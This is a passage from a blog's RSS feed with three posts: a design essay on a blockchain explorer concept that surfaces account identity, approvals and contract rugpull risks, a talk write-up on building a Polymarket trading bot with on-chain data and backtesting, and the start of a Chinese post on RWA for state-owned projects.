&lt;p&gt;The demo homepage emphasizes a compact, high-signal experience. It gives users quick access to recent addresses, incident coverage, and a search experience that can route to accounts, contracts, and applications.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-home-calls-to-action.webp&quot; alt=&quot;Hash4eva homepage calls to action&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;account-pages-should-become-identity-stories&quot;&gt;Account pages should become identity stories&lt;/h2&gt;

&lt;p&gt;For an externally-owned account, the page should not behave like a raw transaction dump. It should function like a profile with context, evidence, and meaningful warnings.&lt;/p&gt;

&lt;p&gt;That means showing:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;account identity and ENS context&lt;/li&gt;
  &lt;li&gt;KYC and exchange trail evidence&lt;/li&gt;
  &lt;li&gt;whether the account has vulnerable approvals&lt;/li&gt;
  &lt;li&gt;whether it has been involved in MEV-related behavior&lt;/li&gt;
  &lt;li&gt;whether it has access to multisig or other administrative structures&lt;/li&gt;
  &lt;li&gt;actions that can be taken to recover or investigate assets&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The design goal is to transform an address into a story about who controls it, what it has done, and what is worth paying attention to.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-signatures-ecrecover.webp&quot; alt=&quot;Hash4eva account signatures&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-actions-combined.webp&quot; alt=&quot;Hash4eva account actions view&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-love-letters.webp&quot; alt=&quot;Hash4eva account love notes&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-ens-edit.webp&quot; alt=&quot;Hash4eva account ENS edit context&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-identity-subpoena.webp&quot; alt=&quot;Hash4eva account identity and subpoena context&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-kyc-evidence.webp&quot; alt=&quot;Hash4eva account KYC evidence&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-kyc-law-enforcement.webp&quot; alt=&quot;Hash4eva account KYC law enforcement guide&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-mev-detection.webp&quot; alt=&quot;Hash4eva account MEV detection&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-vulnerable-approvals.webp&quot; alt=&quot;Hash4eva account vulnerable approvals&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-eoa-evidence.webp&quot; alt=&quot;Hash4eva account EOA evidence&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-recover-tokens-mev.webp&quot; alt=&quot;Hash4eva account recovery and MEV transaction flow&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-multisig-access.webp&quot; alt=&quot;Hash4eva account multisig access&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-account-token-tax-liquidate.webp&quot; alt=&quot;Hash4eva account token tax and liquidation view&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;contract-pages-should-explain-power-and-risk&quot;&gt;Contract pages should explain power and risk&lt;/h2&gt;

&lt;p&gt;Smart contract pages need to do more than show bytecode. They should surface what the contract can do, who can control it, and what the likely risks are.&lt;/p&gt;

&lt;p&gt;That means showing ownership structure, upgradeability, admin controls, audit status, and the mechanics of potential rug-pull or asset seizure conditions. The explorer should make these facts obvious.&lt;/p&gt;

&lt;p&gt;The demo contract page includes views for:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;ownership and administrative functions&lt;/li&gt;
  &lt;li&gt;protocol conformance&lt;/li&gt;
  &lt;li&gt;actions and message calls&lt;/li&gt;
  &lt;li&gt;storage layout and reverse-hash browsing&lt;/li&gt;
  &lt;li&gt;audit submission and review workflows&lt;/li&gt;
  &lt;li&gt;download and dapp-style export options&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-contract-submit-audit.webp&quot; alt=&quot;Hash4eva contract audit submission&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-contract-storage-reverse-hashes.webp&quot; alt=&quot;Hash4eva contract storage reverse-hash view&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-contract-dapp-download.webp&quot; alt=&quot;Hash4eva contract dapp download view&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-contract-protocol-conformances.webp&quot; alt=&quot;Hash4eva contract protocol conformance&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-contract-actions-combined.webp&quot; alt=&quot;Hash4eva contract actions and calls&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-contract-ownership-kyc.webp&quot; alt=&quot;Hash4eva contract ownership and KYC view&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-contract-owner-kyc.webp&quot; alt=&quot;Hash4eva contract owner KYC status&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;transaction-pages-should-explain-impact&quot;&gt;Transaction pages should explain impact&lt;/h2&gt;

&lt;p&gt;A transaction page should not just show a gas fee and a status marker. It should show what the transaction changed, who was affected, whether the transaction is replayable, and whether it looks suspicious or manipulative.&lt;/p&gt;

&lt;p&gt;The design should make the user feel that the transaction is legible. That means surfacing side effects, value movement, storage changes, and event logs in a single, understandable view.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-transaction-sandwich-evidence.webp&quot; alt=&quot;Hash4eva transaction sandwich evidence&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-transaction-full-impact.webp&quot; alt=&quot;Hash4eva transaction full impact view&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-transaction-replayable.webp&quot; alt=&quot;Hash4eva transaction replayable transactions&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;security-audits-and-liquidate-buttons&quot;&gt;Security audits and liquidate buttons&lt;/h2&gt;

&lt;p&gt;Anybody should be welcome to upload evidence of backdoors, rugpulls and other security issues.&lt;/p&gt;

&lt;p&gt;Here is one example, OpenSea administrators can &lt;a href=&quot;opensea-shared-storefront-backdoor&quot;&gt;take any tokens minted on the OpenSea Shared Storefront&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This actual liquidate button should be shown directly on the contract page. If the administator of OpenSea sees that button, they should be able to click it to do the rugpull. If anybody else sees it, they should be able to simulate the same transaction and see the impact.&lt;/p&gt;

&lt;p&gt;There’s a big difference between “XYZ company audited our smart contract (the old version) (4 years ago)” and “click here to rugpull this contract.” And luckly, it is very easy to validate claims of rugpulls. We should support these researchers and bring their findings front and center.&lt;/p&gt;

&lt;h2 id=&quot;incidents-should-become-structured-stories&quot;&gt;Incidents should become structured stories&lt;/h2&gt;

&lt;p&gt;Incidents are a strong use case for an explorer because they naturally combine addresses, contracts, timelines, and consequences. The explorer should make it obvious what happened, when it happened, who was affected, and what the follow-up actions should be.&lt;/p&gt;

&lt;p&gt;The demo incidents page shows a more narrative, timeline-driven approach to presenting security events instead of burying them in a feed.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hash4eva-blockchain-explorer-incidents-overview.webp&quot; alt=&quot;Hash4eva incidents overview&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-takeaway&quot;&gt;The takeaway&lt;/h2&gt;

&lt;p&gt;The important lesson is that blockchain applications need better interfaces before they can become broadly trustworthy. The explorer is the obvious front door. If the explorer is clear, evidence-driven, and action-oriented, users will have a better chance of understanding the system and making safe decisions.&lt;/p&gt;

&lt;p&gt;Hash4eva is a design attempt to make that possible. It is not just a prettier version of Etherscan. It is a rethinking of the explorer as a system for trust, explanation, and action.&lt;/p&gt;
</description>
        <pubDate>Tue, 04 Aug 2026 00:00:00 +0000</pubDate>
        <link>https://blog.phor.net/hash4eva-blockchain-explorer</link>
        <guid isPermaLink="true">https://blog.phor.net/hash4eva-blockchain-explorer</guid>
        
        <category>blockchain,</category>
        
        <category>design,</category>
        
        <category>ux</category>
        
        
      </item>
    
      <item>
        <title>Polymarket quant desk</title>
        <description>&lt;p&gt;&lt;em&gt;This post expands the ideas from the Community Service Hour &lt;a href=&quot;https://hour.gg/episodes/2026-08-03-episode-142&quot;&gt;Polymarket bot (ep. 142)&lt;/a&gt; about building a prediction-market trading bot on your laptop. We walk through each slide and explain the practical architecture, the tooling choices, and the discipline required to properly study and implement a machine-learning quant desk for running market bets against Polymarket.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The main point is &lt;mark&gt;that this domain is a very good place to learn how modern data systems, backtesting discipline, and operational engineering actually work together&lt;/mark&gt;. And now is a unique time to get started, because the entire history of Polymarket trading data is still small enough to fit on your laptop. Soon, this dataset, and the analysis will no longer be feasible on basic hardware most people have.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/polymarket-quant-desk.webp&quot; alt=&quot;Polymarket on a laptop&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Thank you to &lt;a href=&quot;https://www.aiphilly.tech/events&quot;&gt;AI Philly&lt;/a&gt; (&lt;a href=&quot;https://www.meetup.com/ai-philly/&quot;&gt;Meetup&lt;/a&gt;) for setting up this event!&lt;/p&gt;

&lt;h2 id=&quot;why-this-is-interesting-now&quot;&gt;Why this is interesting now&lt;/h2&gt;

&lt;p&gt;Prediction markets are interesting because intersect finance, machine learning and software engineering.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The Polymarket historical trades dataset is small enough (1 TB) that you can fit it on your laptop computer and analyze it. &lt;strong&gt;(But not for long!)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;You can understand it at a high level, and it’s simple enough that LLM can implement a trading bot for you.&lt;/li&gt;
  &lt;li&gt;Running a trading bot can make you real money (if you are eligible to operate one).&lt;/li&gt;
&lt;/ul&gt;

&lt;p class=&quot;margin-note&quot;&gt;You can also rescrape and build it yourself with the provided code.&lt;/p&gt;

&lt;p&gt;The source code for this blog post/presentation &lt;a href=&quot;https://github.com/fulldecent/polymarket-quant-desk&quot;&gt;is published on GitHub&lt;/a&gt; and the scraped dataset &lt;a href=&quot;https://huggingface.co/datasets/fulldecent/polymarket-quant-desk&quot;&gt;is published on Hugging Face&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The talk starts with the basic question: what is a prediction market and how does it actually get represented on chain?&lt;/p&gt;

&lt;h2 id=&quot;outcome-tokens&quot;&gt;Outcome tokens&lt;/h2&gt;

&lt;p&gt;The fundamental approach is that each outcome is expressed as a yes/no question. The system provides two tokens that are complementary. One token represents the outcome happening. The other represents it not happening. For example:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Will Vance be the 2028 Republican nominee for US president? –&amp;gt; YES&lt;/li&gt;
  &lt;li&gt;Will Vance be the 2028 Republican nominee for US president? –&amp;gt; NO&lt;/li&gt;
  &lt;li&gt;Will Rubio be the 2028 Republican nominee for US president? –&amp;gt; YES&lt;/li&gt;
  &lt;li&gt;Will Rubio be the 2028 Republican nominee for US presiden? –&amp;gt; NO&lt;/li&gt;
  &lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;

&lt;p class=&quot;margin-note&quot;&gt;Complementary usually means one pays out 100% and the other 0%. Other exceptional splits are possible.&lt;/p&gt;

&lt;p&gt;Each pair of yes/no tokens is complementary. And the total payout for each combination of YES + NO is always complementary. And across multiple choices like this one, other complimentarity exists. For example, it is not feasible for both Vance and Rubio to be the Republican nominee.&lt;/p&gt;

&lt;p&gt;Each market order ends up touching one of these YES/NO tokens. Let’s trace that order back from the original order intent.&lt;/p&gt;

&lt;h2 id=&quot;how-an-order-reaches-the-blockchain&quot;&gt;How an order reaches the blockchain&lt;/h2&gt;

&lt;p&gt;An order starts as an intention. You want to bet on something, say a World Cup match, and that intention has to travel all the way onto a public blockchain before it counts. Let’s see each step that happens: when the decision is made, when it clears, and when it becomes permanent.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/polymarket-quant-desk-2.webp&quot; alt=&quot;Market model and order structure&quot; /&gt;&lt;/p&gt;

&lt;p class=&quot;margin-note&quot;&gt;Knowing precisely how trade data lives on the blockchain was even the subject of a lawsuit involving a friend of the show. Show up IRL to ask for details.&lt;/p&gt;

&lt;p&gt;Under Polymarket there are two ways to clear a trade. You can sign everything yourself, which almost nobody does, or you can use the hosted wallet, which almost everybody does. Either way you are signing a &lt;em&gt;message&lt;/em&gt; in the Ethereum sense, not a transaction. That message is relayed to a bundler, physically routed through a Polymarket relayer server near the UK, which pays the gas and plays your order onto the Polygon network.&lt;/p&gt;

&lt;p&gt;Polygon produces a block about every two seconds. Once your order lands in a block it is locked, irrevocable and written to the ledger. That final on-chain record is the thing we care about: every closed trade is there, showing which tokens moved from one account to another and the money that moved the other way.&lt;/p&gt;

&lt;h2 id=&quot;clob-market-mechanism&quot;&gt;CLOB market mechanism&lt;/h2&gt;

&lt;p&gt;Polymarket matches orders with a central limit order book, or CLOB. If you have ever seen a level-two order book on TradingView, with stacked reds and greens, that is the same structure. As an outside observer (from the blockchain logs) you do not see the full book, you only see the price that actually cleared.&lt;/p&gt;

&lt;p&gt;The split between a maker and a taker is important:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;If the best resting offer is at 400 and you buy it there, you are the &lt;strong&gt;taker&lt;/strong&gt;. You lift liquidity off the book and you decide the exact moment of execution.&lt;/li&gt;
  &lt;li&gt;If instead you post a bid at 375, you are the &lt;strong&gt;maker&lt;/strong&gt;. Your commitment is now made, and you carry risk until someone trades against you.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Carrying that risk is exactly what is valuable to the other side.&lt;/p&gt;

&lt;p&gt;A single taker can also sweep several makers at once. Picture resting bids at 300, 301, and 302 while the market sits at 305: one incoming sell walks down the book, taking 302 first, then 301, then 300. One shark eats three fish.&lt;/p&gt;

&lt;p class=&quot;margin-note&quot;&gt;Even in an “atomic match”, the trade that closed &lt;em&gt;last&lt;/em&gt; sets the final price, not the average of the fills.&lt;/p&gt;

&lt;p&gt;When you later read the tape you just see prints at 302, 301, 300. But which side initiated, in which direction, and in what sequence is the information that actually matters, and all of it later becomes features for the model.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/polymarket-quant-desk-3.webp&quot; alt=&quot;CLOB structure and order flow&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;get-the-data-from-the-chain-not-the-api&quot;&gt;Get the data from the chain, not the API&lt;/h2&gt;

&lt;p&gt;There is a tempting shortcut. Polymarket exposes its own history through the Gamma API. The problem is trust: you would have to assume they are not hiding rows, that the historical numbers are accurate, and that today’s data is apples-to-apples with what they served in the past. It is also not published in bulk, you pull it row by row.&lt;/p&gt;

&lt;p&gt;The alternative is to treat the blockchain itself as the source of truth. Every node that participates in the chain holds the same data, so you can query any provider and get identical, reproducible results. You can pay about $30 a month to an API provider, use a free key, or simply pull the roughly one-terabyte dataset off ourr Hugging Face dataset. It is equivalent any way you get it.&lt;/p&gt;

&lt;p&gt;The raw data lands as around thirty tables, but let’s look at three of them now:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A &lt;strong&gt;market&lt;/strong&gt; is a specific event with a testable outcome, such as a single World Cup match, split into complementary yes/no tokens.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Accounts&lt;/strong&gt; are holders of risk. They may be humans or bots.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Fills/order matches&lt;/strong&gt; are the trades that actually happened.&lt;/li&gt;
&lt;/ul&gt;

&lt;p class=&quot;margin-note&quot;&gt;These are the same techniques you would use against a real exchange like NASDAQ, just with bigger machines and fatter pipes.&lt;/p&gt;

&lt;h2 id=&quot;why-duckdb-and-parquet-not-sqlite&quot;&gt;Why DuckDB and Parquet, not SQLite&lt;/h2&gt;

&lt;p&gt;My first instinct was to reach for SQL and that is exactly what the project did at first: a single terabyte-sized SQLite file on disk. It worked, but it was the wrong tool. SQLite, MySQL, and Oracle are tuned for looking up one row at a time. E.g. a user logs in, fetch their name, record one action. Our questions are the opposite shape: &lt;em&gt;look at every trade an account ever made across two years and summarize how far its prices sat from the market.&lt;/em&gt; Every query scans and transforms the full dataset.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/polymarket-quant-desk-4.webp&quot; alt=&quot;Storage architecture with Parquet and DuckDB&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That is a columnar, analytical workload, and it is what DuckDB is built for. DuckDB is the database, Parquet is the file format, essentially compressed CSV with some magic inside. You do not even need a server, DuckDB rips straight through Parquet files on disk and uses every core it can find.&lt;/p&gt;

&lt;p class=&quot;margin-note&quot;&gt;An account-follow backtest took &lt;strong&gt;seven seconds&lt;/strong&gt; (M4, 24 GB RAM, 20 cores). SQLite took 100× longer.&lt;/p&gt;

&lt;p&gt;This is also why &lt;em&gt;now&lt;/em&gt; is the moment. The full history still fits on a normal laptop, but as the market grows it will eventually become a ten-terabyte and hundred-terabyte problem that only serious hardware can touch.&lt;/p&gt;

&lt;h2 id=&quot;raw-data-and-derived-data&quot;&gt;Raw data and derived data&lt;/h2&gt;

&lt;p&gt;All of the data we use for backtesting and operations is immutable and reproducible. We separate raw data from derived data as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Raw data&lt;/strong&gt; comes from a primary source (e.g. blockchain logs)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Derived data&lt;/strong&gt; can be regenerated byte-for-byte identically each time from the raw data.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use immutable, partitioned Parquet files. Instead of one giant mutable database, a fresh partition is written on a fixed cadence, roughly every five hours, and the whole set aggregates into one logical dataset. Because each partition is immutable, you can hash every file and keep a manifest recording exactly which files existed on a given date. Later you re-check the hashes and prove nothing shifted underneath you, without cloning a terabyte disk every day.&lt;/p&gt;

&lt;p&gt;That discipline is called &lt;strong&gt;provenance&lt;/strong&gt;. When a derived feature looks wrong, you trace it straight back to the exact files and hashes it was built from. When you build a trading model, same thing. When you see a trade execution, same thing. Every calculation, model formula and trade decision can be reproducibly traced back (ultimately) to the raw data.&lt;/p&gt;

&lt;p&gt;If you can’t do that you are not a real quant.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/polymarket-quant-desk-5.webp&quot; alt=&quot;Raw and derived data&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;feature-engineering-and-trading-theses&quot;&gt;Feature engineering and trading theses&lt;/h2&gt;

&lt;p&gt;Features are just the columns you let the machine reason over, the same way you would lay them out in a spreadsheet, and the model minimizes a loss function against an objective you define. Use your intuitions to try different optimization models, until you find some useful trading strategy.&lt;/p&gt;

&lt;p&gt;Let’s look at some examples.&lt;/p&gt;

&lt;p&gt;A good example is an &lt;strong&gt;account personality&lt;/strong&gt;. For each account across the whole dataset you can compute how much money it made, how large its exposure ran, and how it spread trades across the 24 hours of the day. An account that trades every single hour is probably a bot, and instead of hand-waving you can say it precisely: its &lt;em&gt;Shannon entropy across time is above five&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Other features connect a token back up to its parent market and superstructure, for instance every team in the World Cup carries its own yes/no token, and those are all related.&lt;/p&gt;

&lt;p&gt;Those features feed concrete theses, we discussed a few at the talk:&lt;/p&gt;

&lt;p class=&quot;margin-note&quot;&gt;Only a full-history backtest can separate the one meaningful anomaly from all the noise around it.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Bands (ping-pong).&lt;/strong&gt; Buy low and sell high across an oscillating range, leaning on technical indicators like moving averages, RSI, and crossovers. A wide band around your entry is a toll bridge you collect on each way; a narrow band that breaks against you hands you exposure you never wanted. (Optimize the band size!)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Cross-market arbitrage.&lt;/strong&gt; Compare the same or synthetic outcomes across venues like Kalshi and Polymarket. The danger is a mismatched resolution source, the same way some crypto firms got squeezed treating USDT and DAI as identical.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Anomaly detection.&lt;/strong&gt; Hunt for outsized, high-sigma bets. You hear on the news that someone connected to a war bet $50,000 the day before it started, but the news never shows you the thousands of $50,000 bets that meant nothing. (Model using ALL data, not just what is on TV.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After you have created a hypothesis and have optimized some features, do a full backtest.&lt;/p&gt;

&lt;h2 id=&quot;backtesting-and-the-time-leak-trap&quot;&gt;Backtesting, and the time-leak trap&lt;/h2&gt;

&lt;p&gt;The reason to backtest is simple: a robot cannot YOLO. A human can gamble on instinct, but an automated strategy has to be tested against as much history as you can throw at it. In this dataset that is a luxury, you can run a hypothesis against 100% of every trade ever made and get an answer in seconds. On NASDAQ you would be forced to sample a sliver of a few days out of petabytes.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/polymarket-quant-desk-6.webp&quot; alt=&quot;Feature engineering pipeline&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The single most dangerous mistake is a &lt;strong&gt;time leak&lt;/strong&gt;. If you cannot timestamp a piece of information, get out.&lt;/p&gt;

&lt;p class=&quot;margin-note&quot;&gt;If you have a roster or an injury report but you do not know exactly when it went public, your backtest will use knowledge that did not exist at the moment of the trade. It will see patterns that are not real, and lose money without understanding why.&lt;/p&gt;

&lt;p&gt;Anything you can timestamp can be fed in directly. If you cannot get the exact time, you can sometimes estimate it from a reliable third-party schedule, but you have to be honest about which is which. Every run is also a git commit, because when a working strategy suddenly starts losing money the only way to do forensics is to reproduce the exact code and data behind each result. This is where LLMs shine: they are excellent at proposing the next variation, explaining why the last one failed, and keeping you in a fast hypothesize-test rhythm.&lt;/p&gt;

&lt;h2 id=&quot;trade-operations&quot;&gt;Trade operations&lt;/h2&gt;

&lt;p&gt;In production, a strategy is a state machine driven by triggers. It sits in a ready state collecting data, and nothing happens until several conditions line up at once: an external report drops, a price crosses a band, a watched account moves, an N-sigma event fires. Only when every required trigger is satisfied does it place a trade, and then it logs everything, what it believed, why it acted, and when the order cleared.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/polymarket-quant-desk-7.webp&quot; alt=&quot;Backtesting workflow&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The first account strategy you should ever build is the boring one: &lt;em&gt;sell everything I have&lt;/em&gt;. Being able to dump your whole position back to cash lets you reset risk and be ready to start the next trading round clean.&lt;/p&gt;

&lt;p&gt;Execution is never instant. There is the two-second Polygon clearing time plus real network latency, so a band strategy may be reacting to data that is already a couple of seconds stale. On NASDAQ people fight over milliseconds and microseconds; here we fight over whole seconds. The failure mode is the same, you buy at a price far from where your signal fired, and when it happens you go back to the logged triggers and run the forensics. That is exactly why the logging has to be thorough.&lt;/p&gt;

&lt;h2 id=&quot;building-it-with-an-llm&quot;&gt;Building it with an LLM&lt;/h2&gt;

&lt;p&gt;You may use LLM to help with your programming. I have collected some notes about my experience in using professional engineering techniques while getting LLM to do most of the work.&lt;/p&gt;

&lt;p&gt;You don’t need to understand all of this discipline. But if you bark these buzzwords at your “junior assistant” then it will have a solid foundation for doing its work.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/polymarket-quant-desk-8.webp&quot; alt=&quot;Trade operations and execution&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The first is the &lt;strong&gt;brain dump&lt;/strong&gt;. Do not just tell the model “trade on rosters,” explain &lt;em&gt;why&lt;/em&gt; you think rosters carry an edge, who will react to them, and which other markets they might move. Five minutes of talking through your reasoning is the most valuable five minutes in the project, because without it the model cannot actually help you.&lt;/p&gt;

&lt;p class=&quot;margin-note&quot;&gt;Apps like this outgrow one-shot tools such as Claude Code or Grok. Past a certain size you have to think like an engineer again.&lt;/p&gt;

&lt;p&gt;The second is the API (interface). For anything more complex than a throwaway toy, make the model write all the function signatures and none of the implementation first, then argue with itself about whether they are right, and stop so you can read them. That is where you catch the fatal omission, &lt;em&gt;you never stored the time the roster arrived&lt;/em&gt;, before it burns days of runtime and hundreds of dollars of tokens on something that runs slowly and executes badly. Defining those contracts up front is just the SOLID principle applied to AI-generated code. Back it with two kinds of tests:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;unit tests for the code&lt;/li&gt;
  &lt;li&gt;data tests to confirm the output is shaped the way the next stage expects&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally, sizing. Once you have a strategy that genuinely works, the question is how much to bet, and the answer is the &lt;strong&gt;Kelly criterion&lt;/strong&gt;. You do not need a finance degree, you just need the word, so you can hand it to the LLM instead of telling it to bet everything. Betting your whole bankroll each time guarantees ruin: one loss takes you to zero, and you can’t double your way back up from zero.&lt;/p&gt;

&lt;h2 id=&quot;fish-dont-backtest&quot;&gt;Fish don’t backtest&lt;/h2&gt;

&lt;p&gt;The closing line of the talk is “fish don’t backtest, so don’t be a fish.” The deeper point is that prediction markets are a rare place where one person can practice the entire modern data workflow end to end: source reproducible data, engineer features, form a hypothesis, backtest it honestly against full history and only then move to execution with real logging and risk control.&lt;/p&gt;

&lt;p&gt;These skills could be worth far more than any money you’ll make with this trading bot. It transfers to any system that lives or dies on data, timing and reproducibility.&lt;/p&gt;

&lt;h2 id=&quot;next-steps&quot;&gt;Next steps&lt;/h2&gt;

&lt;p&gt;If you are building your own data pipelines, hypotheses and backtest… then you might be a good candidate for a machine learning job. Send me your resume.&lt;/p&gt;

&lt;p&gt;If you care about these topics and are hiring… then you might want good candidates. Send me your job posting.&lt;/p&gt;

&lt;p&gt;I connect people and look forward to inviting you next time to a similar event, which always includes networking and mixers at the end!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/polymarket-quant-desk-9.webp&quot; alt=&quot;AI-assisted engineering and risk controls&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Sun, 02 Aug 2026 00:00:00 +0000</pubDate>
        <link>https://blog.phor.net/polymarket-quant-desk</link>
        <guid isPermaLink="true">https://blog.phor.net/polymarket-quant-desk</guid>
        
        <category>machine</category>
        
        <category>learning,</category>
        
        <category>finance,</category>
        
        <category>trading</category>
        
        
      </item>
    
      <item>
        <title>RWA思路如何帮助国资实现十五五重大项目？</title>
        <description>&lt;p&gt;研究国资现在的情况和RWA带来的现代资本机会。对比西方常见做法和中国市场可以实际应用的方式。&lt;/p&gt;

&lt;h2 id=&quot;作家简介&quot;&gt;作家简介&lt;/h2&gt;

&lt;p&gt;你好，我是William Entriken（安其文）。我认为相关技术和新的资本结构可以帮助政府和国资把项目做得更顺利、更可靠。我参与过多个政府和私立企业的项目设计与指导。&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;2017年作为ERC-721（后来被广泛称为NFT标准）的主作者&lt;/li&gt;
  &lt;li&gt;2018年初实现技术，与工程师合作落地&lt;/li&gt;
  &lt;li&gt;2018年初在上海和美国演讲，解释NFT技术以及如何应用（相关概念后来进入上海“十四五”规划讨论）&lt;/li&gt;
  &lt;li&gt;2018年至今，与政府和私立公司合作，用RWA帮助企业实现具体项目（不涉及比特币或发币类项目）&lt;/li&gt;
  &lt;li&gt;2019–2020与西欧多国政府分析区块链应用前景&lt;/li&gt;
  &lt;li&gt;2020–2023与美国政府合作，研究如何应用NFT/RWA，并提供法律分析支持&lt;/li&gt;
  &lt;li&gt;2021–2024与东欧（爱沙尼亚）立法部门交流如何在欧盟框架下利用NFT/RWA&lt;/li&gt;
  &lt;li&gt;商业背景：本科电子与计算机工程，硕士金融与国际贸易。2006年在谷歌工作，2008年从事通信芯片领域，此后为科技公司提供发展和创业咨询&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;国内报道&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.chinadaily.com.cn/a/202105/07/WS6094db49a31024ad0babc83e_2.html&quot;&gt;China Daily&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20210619084916/https://www.jinse.com/news/blockchain/357441.html&quot;&gt;金色&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hplpb.com.cn/article/doi/10.11884/HPLPB201931.190132&quot;&gt;HPLPB&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.c114.com.cn/expo/15/a1050187.html&quot;&gt;C114&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cloud.tencent.com.cn/developer/article/1047352&quot;&gt;腾讯&lt;/a&gt;&lt;/li&gt;
